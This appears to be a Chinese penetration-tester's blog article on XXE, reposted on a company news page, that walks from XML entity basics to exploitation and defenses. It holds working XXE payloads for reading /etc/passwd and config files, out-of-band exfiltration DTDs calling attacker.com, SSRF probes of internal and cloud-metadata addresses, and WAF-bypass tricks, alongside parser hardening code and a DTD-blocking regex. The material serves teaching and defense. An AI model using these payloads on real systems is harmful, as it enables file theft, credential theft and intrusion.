ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

XXE漏洞实战剖析:从XML外部实体到文件读取与SSRF防御

XXE漏洞实战剖析:从XML外部实体到文件读取与SSRF防御 写这篇日记的时候我刚从一个内部授权测试项目里收尾。客户那边有一套老旧的 Java 系统接口接收 XML 报文做数据同步我用一个构造好的外部实体请求直接读到了服务器上的应用配置文件再顺藤摸瓜拿到了数据库账号。整个过程不到半小时但事后复盘时我在想为什么都 2025 年了XXE 这个老掉牙的漏洞还能在企业系统里这么普遍答案其实很扎心大部分系统的 XML 解析器都还停留在「默认配置」阶段而默认配置几乎都没有考虑过外部实体带来的风险。这篇日记就来完整拆解 XXE 漏洞从 XML 基础语法、DTD 实体机制到实战利用的几种典型场景再到 WAF 绕过思路和防御方案。不管你是刚入门渗透的新手还是写过不少报告的老手只要你在和 XML 格式的接口打交道这篇都值得花几分钟看完。1. XML 基础不懂这些后面全是懵的1.1 XML 的骨架与语法在聊 XXEXML External EntityXML 外部实体注入之前我必须要先带你把 XML 的老底摸清楚。很多新手学 XXE 卡住问题不是出在利用手法上而是连 DTD、实体、参数实体这些概念都没理顺看 payload 就像看天书。XML 全称是 Extensible Markup Language可扩展标记语言核心作用是把数据用结构化的方式存下来或者传出去。一个最简单的 XML 文档大概长这样?xml version1.0 encodingUTF-8? user name皮皮宋/name age18/age tags tag渗透测试/tag tagXXE研究/tag /tags /user几个要点说一下第一行是 XML 声明告诉解析器版本和编码格式user是根元素整个文档有且只能有一个根name、age这些标签之间不允许随便嵌套错乱。XML 设计上比 HTML 严格得多标签必须闭合属性值必须加引号大小写敏感。这些语法说起来简单但在渗透测试里判断一个接口是不是在解析 XML第一步就是看它对畸形 XML 的反应。我之前测过一个 OA 系统的接口正常传 JSON 没反应改成畸形 XML 之后服务器直接返回了 500 错误里面还带着 libxml2 的报错信息这就等于明明白白告诉你「我这儿在解析 XML」。1.2 DTD 与实体XML 里最容易出事的地方XML 文档不仅可以描述数据本身还能通过 DTDDocument Type Definition来声明这个文档的结构规则。DTD 分两种一种是内部 DTD直接写在 XML 文档里另一种是外部 DTD通过 URL 引用外部文件。实体Entity是 DTD 里最核心的概念你可以把它理解成一个「变量」。先声明然后在 XML 的文本节点里引用它解析器会自动把变量替换成声明时的值。先看最基础的通用户内部实体?xml version1.0 encodingUTF-8? !DOCTYPE user [ !ENTITY myname 皮皮宋 ] user namemyname;/name /user这里!ENTITY myname 皮皮宋就是在 DTD 里声明了一个实体叫 myname它的值是字符串「皮皮宋」。下面namemyname;/name引用它解析器最终看到的就是name皮皮宋/name。这个机制本身没什么问题但 DTD 里还支持一种更强大的声明方式外部实体!DOCTYPE user [ !ENTITY xxe SYSTEM file:///etc/passwd ] user namexxe;/name /user注意看SYSTEM后面跟的不再是一个普通字符串而是一个 URI。解析器在处理这段 XML 时会去读取file:///etc/passwd对应的资源也就是服务器本地的 passwd 文件然后把它的内容作为实体的值替换进去。这就是 XXE 最原始的形态你让解析器去读一个它本不该读的文件。XML 的实体机制被设计为可以引用外部资源这个初衷是好的比如多个 XML 文档可以共享同一个 DTD 文件来校验格式但是当这个能力被攻击者利用、用来读取任意文件或者访问任意内网地址时它就变成了漏洞。DTD 里还有一种特殊的实体叫参数实体用%来声明和引用!DOCTYPE user [ !ENTITY % payload SYSTEM http://attacker.com/xxe.dtd %payload; ]参数实体的特殊之处在于它只能在 DTD 内部使用不能出现在 XML 文档的正文节点里。它在 XXE 盲打和外带数据场景中极其重要后面 3.2 节会详细讲。记住三个关键词DTD 负责声明规则实体负责定义变量外部实体负责引用外部资源。当这三样东西组合在一起并且应用接收了用户可控的 XML 输入时XXE 的土壤就诞生了。2. XXE 漏洞原理信任的叠加导致风险失控2.1 为什么会产生 XXE前面我把 XML 的基础概念捋了一遍现在来回答最关键的问题为什么 XML 解析器会成为漏洞的温床一个 XML 文档从输入到被解析大致是这样的链路应用接收外部输入交给 XML 解析器解析器按照 XML 规范逐层解析如果碰到 DOCTYPE 声明就会读取 DTD如果 DTD 里引用了外部实体解析器就按照声明的 URI 去发起资源请求然后把拿到的内容嵌入到文档结构中。XXE 之所以产生是因为这个链条里的两个「信任」出现了叠加应用信任了用户的输入认为这段 XML 是合法数据没有做任何校验解析器信任了 DTD 的声明认为实体引用的资源是安全可访问的。攻击者利用的就是这种盲目信任在有 DOCTYPE 声明时注入恶意实体让解析器替自己去读取文件或访问内网。举个例子。假设后端接口这样处理请求数据?php $data file_get_contents(php://input); $xml simplexml_load_string($data, SimpleXMLElement, LIBXML_NOENT); echo $xml-name; ?这段代码做了三件「危险」的事直接读取原始请求体、用simplexml_load_string解析、还开了LIBXML_NOENT选项把实体内容替换进文档。如果攻击者提交的请求体是上一节那个加载外部实体的 XML这个接口就会把/etc/passwd的内容当成name节点的值返回。2.2 各语言解析库的默认行为对照不同语言、不同解析库对 XML 外部实体的处理策略差异非常大这也是「默认配置害死人」这句话的由来。我把实战中遇到最多的几种情况整理成了一张表语言 / 解析方式默认是否加载外部实体安全配置要点PHP SimpleXML 旧版 libxml2默认加载libxml_disable_entity_loader(true)Java DOM / SAX默认加载外部通用实体disallow-doctype-decl设为 truePython lxml默认支持解析实体resolve_entitiesFalseC# XmlDocument默认加载XmlReaderSettings 禁用 DTDPython xml.etree不解析外部实体相对安全建议继续禁用Ruby REXML旧版本可加载外部实体升级版本或手动禁用Go encoding/xml不加载外部实体本身较安全你观察这个表会发现一个规律凡是「功能完善」的 XML 解析库默认都会支持外部实体比如 Java 的 DOM 和 PHP 的 SimpleXML 就是重灾区而像 Python 自带的xml.etree这种轻量库本身就拒绝外部实体反而安全。这个规律背后有一个很现实的逻辑XML 规范从设计之初就把「引用外部资源」定义为合法行为解析库只是在忠实实现规范。但是没有哪个库能提前预判「引用外部资源」的对象是不是恶意攻击者。安全责任必须由调用方来承担而不是解析库。所以做代码审计的时候看到 XML 解析相关的代码我的第一反应永远是去查它有没有做三件事禁用 DOCTYPE、禁用外部通用实体、禁用外部参数实体。三个都没做这个点基本就能确定存疑了。2.3 XXE 能造成哪些危害XXE 的真正危险在于它的利用面极广。按危害程度从低到高排列我接触过的利用场景至少有这些第一类是最常见的文件读取。通过file://协议读取服务器上的任意文件包括配置文件、密钥文件、源码文件。第二类是 SSRFServer-Side Request Forgery服务端请求伪造借助http://或ftp://协议让服务器主动发起请求访问内网地址、云元数据接口、内部管理后台。第三类是 DoS拒绝服务利用实体嵌套或者「十亿笑」攻击Billion Laughs Attack即通过多层实体嵌套导致内存爆炸直接把服务拖垮。第四类是在特定条件下借助解析器支持的协议实现命令执行比如 PHP 环境的expect://协议或者反序列化链配合利用。这些危害在真实项目中我基本都见过。文件读取最普遍十个 XXE 里有八个是干这个的SSRF 是最有「深度」的利用方式因为它能把攻击面从单一接口扩展到整个内网。防御的本质就是围堵这四类危害而利用的核心思路则是找到解析器允许的协议边界。3. 实战利用从文件读取到内网横向探测3.1 有回显场景下的文件读取实战中判断一个接口是否存在 XXE第一件事不是直接上 File 协议而是先确认它解析 XML 并且能回显实体内容。最稳妥的探测方式是用一个内部实体做验证?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY test xxe_pentest_test_2025 ] root itemtest;/item /root如果响应里出现了xxe_pentest_test_2025说明两点第一这个接口确实在解析 XML第二实体内容会被替换并回显。到这一步基本就可以断定目标存在实体注入点接下来直接上外部实体读取文件?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM file:///etc/passwd ] root itemxxe;/item /root响应中如果能看到root:x:0:0:root:/root:/bin/bash这类内容漏洞就确认了。读取目标文件的选择是有讲究的。不看系统类型就乱读/etc/passwd这是很多新手的通病实际上拿到 Shell 权限之前你应该优先读这些目标文件为什么值得先读web.xml/application.yml/.env数据库密码、Redis 密码、加密密钥.bash_history/.git/config历史命令、Git 仓库地址和内部信息hosts//etc/hosts内网主机名映射横向渗透的线索/proc/self/environ当前进程环境变量常含敏感配置Windows 的win.ini/ 配置文件确认系统类型、读取 ini 类配置我有一个习惯拿到文件读取能力之后先读部署路径里的配置文件和.git目录里的引用文件而不是急着读系统密码文件。因为配置文件里常常直接写着数据库账号密码价值比/etc/passwd高得多而且.git目录里往往能还原出源码的敏感信息。3.2 无回显场景OOB 外带数据实战中大量 XXE 是盲打也就是解析器处理了 XML但响应里不显示实体解析结果。遇到这种情况不能直接用上面那种「读文件然后看响应」的策略了得让目标服务器把数据外带回来。这个技术叫 OOBOut-of-Band带外数据核心思路是让目标的解析器在解析外部实体时主动向攻击者控制的服务器发起一个带数据的请求。完整链路分三步。第一步攻击者在自己的 VPS 上准备一个恶意 DTD 文件比如/xxe.dtd内容如下!ENTITY % payload SYSTEM file:///etc/passwd !ENTITY % param1 !ENTITY #x25; send SYSTEM http://attacker.com/?data%payload; %param1;这里有个很绕但很关键的细节#x25;是百分号%的 HTML 实体编码因为 DTD 内部不能直接再嵌套声明一个参数实体所以必须用编码方式在字符串里间接地「声明一个参数实体」。%param1;在 DTD 解析时会展开成一行新的实体声明这个声明的内容是向攻击者服务器发起一个带/etc/passwd内容的请求。第二步构造目标请求的 XML让它去加载远程 DTD?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY % remote SYSTEM http://attacker.com/xxe.dtd %remote; ] root/这个 XML 本身不包含任何敏感数据的明文它只是指示解析器去加载远程 DTD。第三步在 VPS 上起一个 HTTP 监听服务比如nc -lvnp 80然后观察日志GET /?dataroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash HTTP/1.1看到这种带 URL 编码内容的请求说明外带成功把内容 URL 解码一下就拿到了目标文件。这里有一个实操中总结的经验OOB 链路里最容易断的地方不是构造 XML而是外带的数据量太大导致 HTTP 请求超时。解决方案是只带关键文件的一小部分内容或者改用 POST 请求把数据放在 body 里。另外VPS 的 HTTP 服务建议直接用 Python 写一个简单脚本去接收因为nc遇到并发连接容易丢包。3.3 从 XXE 到内网探测SSRF 的实战价值XXE 的价值不只是读文件它能让目标服务器替你去请求任意地址这本质上是一个 SSRF。攻击者不需要出网只需要借助目标机器的网络栈就能访问到内网资源。最经典的利用是访问云环境里的内网元数据接口。很多云平台都给虚拟机提供了一个固定的内网地址比如常见的 169.254.169.254 就是 AWS 和部分云平台的元数据服务地址访问它不需要认证就能拿到临时凭证、角色权限信息。有的内网环境里还有专门的内部地址通过访问这些地址可以直接获取当前主机绑定的角色和密钥。实战中拿到这些凭证离控制整个云账号就只差一步了。探测内网存活主机也常用 XXE 来做?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM http://10.0.0.1:8080/ ] root itemxxe;/item /root判断端口是否开放有两个指标响应时间和响应内容。端口通了解析器会正常解析完整个请求耗时正常响应里可能包含目标服务的信息端口不通解析器会报错或者整个请求的耗时明显拉长。用 Burp Suite 的 Intruder 配合一个字典就能快速扫一段内网 IP。实际项目里我一般不会一上来就大范围扫而是按这个次序来先探测网关地址、DNS 服务器、DHCP 服务器因为这些地址基本是内网的固定基础设施存活概率极高然后再探测常见的 Web 端口最后再尝试访问云元数据接口。这个顺序能最大程度减少请求数量降低被 IDS/IPS 发现的概率。测完后记得把外带服务器上接收到的内网拓扑数据整理成一条记录方便后续横向测试参考。3.4 实战案例复盘一卡通查询接口的 XXE 利用过程理论讲再多不如看一次完整的案例复现。我挑一个印象深刻的授权项目来说。前两年做一所高校的信息系统安全评估目标是校园卡一卡通服务平台。这个平台有一个「余额查询」接口正常请求格式是 JSON{card_no: 12345}。但通过抓包分析我发现这个接口的底层调用是接收 XML 报文的有可能是中间层做了数据格式转换。于是我把请求体直接替换成了 XML?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM file:///C:/Windows/win.ini ] root card_noxxe;/card_no /root响应中返回了一个 XML 结构里面card_no节点赫然出现了win.ini的内容片段虽然被截断了但足以确认漏洞存在。确认后我很快把利用方向调整为读取应用配置文件application.yml一次性拿到了数据库连接串和 Redis 的访问密码。整个过程有几点值得记录下来第一这类型的漏洞往往藏在「格式转换层」JSON 转 XML、对象转 XML、SOAP 服务这些转换代码经常直接调用底层解析库的默认配置安全性完全裸奔。第二回显内容可能被截断但截断不影响漏洞确认后续可以通过调整实体声明位置、分段读取来规避长度限制。第三这类老系统的补丁周期非常长确认漏洞后我还顺手检查了同平台的其他几个接口发现也存在同样的解析问题说明这是同一段公共代码导致的一处框架性缺陷系统性修复比单点修复更急迫。这里必须说清楚以上所有操作都是在客户授权的评估范围内进行的拿到数据库密码后我没有做任何进一步的数据访问只是在报告中完整记录了风险和影响路径。4. 绕过技巧过滤规则拦不住所有武器4.1 关键词黑名单怎么破很多开发人员防御 XXE 的手段是在代码里对请求体做正则过滤把SYSTEM、DOCTYPE、file这些关键词直接替换成空字符串或者直接拒绝。听起来很合理但实战中这种黑名单式的防御有太多办法可以绕过。最基础的是大小写和编码变形。SYSTEM可以写成System、systemXML 解析器对这些关键字是大小写敏感的但解析规范兼容性很强不同解析器对大小写的处理能力不一样。更暴力的是直接把整个 XML 用 UTF-16 编码后再发送很多 WAF 默认按 ASCII 或 UTF-8 解析请求体看到一串包含空字节的 UTF-16 内容就识别不出来但后端的 XML 解析器却能正常处理。还有一种是拆分与拼接。用参数实体把被过滤的关键字拆成碎片!DOCTYPE root [ !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?x%file; %eval; ]URL 里那个?x后面跟的%file;如果被过滤规则替换掉可以拆成%fi和le;再用注释拼接%fi!-- --le;。这种基于注释的拼接方式是 WAF 绕过的老套路在 XML 解析场景里同样适用。4.2 协议兼容面的探索出现filter系统标识被过滤时可以换别的协议来读取文件。不同语言环境下能用的协议集合差别很大环境常用协议典型用途PHPphp://filter/readconvert.base64-encode/resource...读源码、绕过解析限制Javajar://、netdoc://、http://读 jar 包内容、访问内网通用file://、ftp://、http://文件读取、外带数据、SSRFPHP 环境特别值得说一下。如果目标过滤了file://那么php://filter通常还能用而且它能对文件内容做 base64 编码这样即使文件内容里有特殊字符导致 XML 解析报错编码后也能安全传输。Java 环境则更关注jar://协议是否可用它可能帮你枚举到 classpath 下的敏感资源路径。如果所有协议都被过滤了还有一个思路是考虑 XInclude 机制这是 XML 规范的另一个特性有些防御方只堵 DTD 没堵 XInclude。4.3 绕过方案速查表防御手段绕过思路难度过滤DOCTYPE用 XInclude 机制代替 DTD★★★过滤SYSTEM、fileUTF-16 编码、大小写混写、注释拼接★过滤http换ftp://、jar://、netdoc://★★仅禁用外部通用实体用外部参数实体触发加载★★WAF 校验请求体长度拆分多个短请求分段外带★★★屏蔽出网 IP用 DNS 解析作为外带通道★★★绕过的核心逻辑其实就一句话防御方堵住了你熟悉的路径不代表堵住了所有路径。但这里我要说一句泼冷水的话绕过不是万能的遇到setFeature(disallow-doctype-decl, true)这种直接把 DTD 解析关闭的配置再花里胡哨的绕过技巧都无效这种情况下就该果断放弃这个点把时间花在下一个更值得测试的接口上。5. 防御方案从配置到架构把路封死5.1 解析器层语言层面的安全配置防御 XXE 最彻底、最省成本的办法就是直接在解析器层面把外部实体和 DTD 全部禁用掉。不同的语言和框架对应的配置代码我整理成了可以直接抄的模板PHP 环境在解析前先禁用外部实体加载?php libxml_disable_entity_loader(true); $xml simplexml_load_string($input); // PHP 8.0 推荐使用 libxml_set_external_entity_loader(null) ?Java 环境用 DocumentBuilderFactory 时需要设置五个关键特性DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false); dbf.setFeature(http://apache.org/xml/features/nonvalidating/load-external-dtd, false); dbf.setXIncludeAware(false);第一行disallow-doctype-decl是决定性的一行把它设为 true 之后任何带 DOCTYPE 的 XML 都会直接抛出异常。后面几行是防御纵深即使某一行配置因为兼容性问题失效其他配置还能兜底。Python lxml 环境from lxml import etree parser etree.XMLParser(resolve_entitiesFalse, no_networkTrue, load_dtdFalse) tree etree.parse(xml_input, parser)C# 环境使用 XmlReaderSettingsXmlReaderSettings settings new XmlReaderSettings(); settings.DtdProcessing DtdProcessing.Prohibit; settings.XmlResolver null; XmlReader reader XmlReader.Create(new StringReader(xmlString), settings);这些配置的共同逻辑是四个「必须」必须禁止 DTD 声明必须禁止外部通用实体必须禁止外部参数实体必须禁止 XInclude。代码示例里的配置项名可能有细微版本差异但大方向不会变审计代码时只要对着一项一项查就行。5.2 代码设计层从源头减少 XML 的使用配置做好了解析器就安全了但仅靠配置是不够的。同一个系统里可能还有多个解析入口某个开发为了处理一个边角功能又写了一个新的解析方法忘了做配置那漏洞还是会重新冒出来。所以我更强调代码设计层面的两条「防呆」原则。第一能不接收 XML 就别接收 XML。现在的 Web 接口绝大多数可以用 JSONJSON 没有外部实体这个概念天然免疫 XXE。如果历史原因必须保留 XML那就把 XML 解析集中收敛到一个公共方法里统一做安全校验不允许各个业务模块自己 new 一个解析器出来各个写一遍逻辑。第二对 XML 请求体做严格的输入校验只要有 DOCTYPE 就拒绝import re doc_type_pattern re.compile(r!DOCTYPE|!ENTITY|!ELEMENT|!ATTLIST, re.IGNORECASE) if doc_type_pattern.search(xml_payload): raise ValueError(XML contains prohibited DTD declarations)这种正则过滤只做第一层防线不能作为唯一防御它过滤不了编码绕过和 XInclude所以最终防线还是得靠 5.1 节的解析器配置。防御一定要分层每一层拦掉一部分攻击最后一层兜底。5.3 架构层出网管控与运行隔离解析器配置做得再好也还有个问题没法解决代码是人写的人总会犯错。所以架构层面的安全措施也很关键。最有效的一招是服务器的出网管控。XXE 的任何外带通道都需要服务器主动向外部发起网络请求如果在防火墙上限制只有某些特定白名单 IP 和域名可以出网其他请求全部拒绝那么即使攻击者成功注入了恶意实体数据也传不出去。DNS 外带这种方式要特别注意如果内网有大规模使用外带通道的现象建议暂时对未知域名的解析也做告警。第二招是运行隔离。XML 解析服务如果必须存在尽量把它部署在以最小权限运行的沙箱环境里用独立的低权限账号运行限制它读取系统中其他应用的配置文件减小单点沦陷时的影响范围。第三招是日志审计记录异常的 XML 请求比如带 DOCTYPE 的请求、请求 URL 里出现内网 IP、响应时间异常延长等这些都是攻击指纹接入告警平台后能在被利用的第一时间发现。写在最后多打几次实战之后你会发现XXE 在漏洞界的地位其实被严重低估了。它不像 SQL 注入那样名声在外但在老系统里的出现频率非常高影响范围却一点不比 SQL 注入小。文件读取、内网探测、凭证窃取一条链路下来能造成的破坏非常可观。我个人做渗透的习惯是拿到授权、翻开目标资产之后只要看到和 XML、SOAP、DOCX、XLSX、SVG 相关的接口第一件事就是打一轮实体注入探测。这类格式的应用场景越隐蔽越容易被人忽略也就越容易中招。写代码的朋友看到这篇文章也不妨回头翻翻自己的项目里有没有默认配置的 XML 解析器趁漏洞还没被利用前把这个口子缝上。安全的本质往往不是那些花哨的攻击手法而是对每一个信任边界的敬畏。
返回列表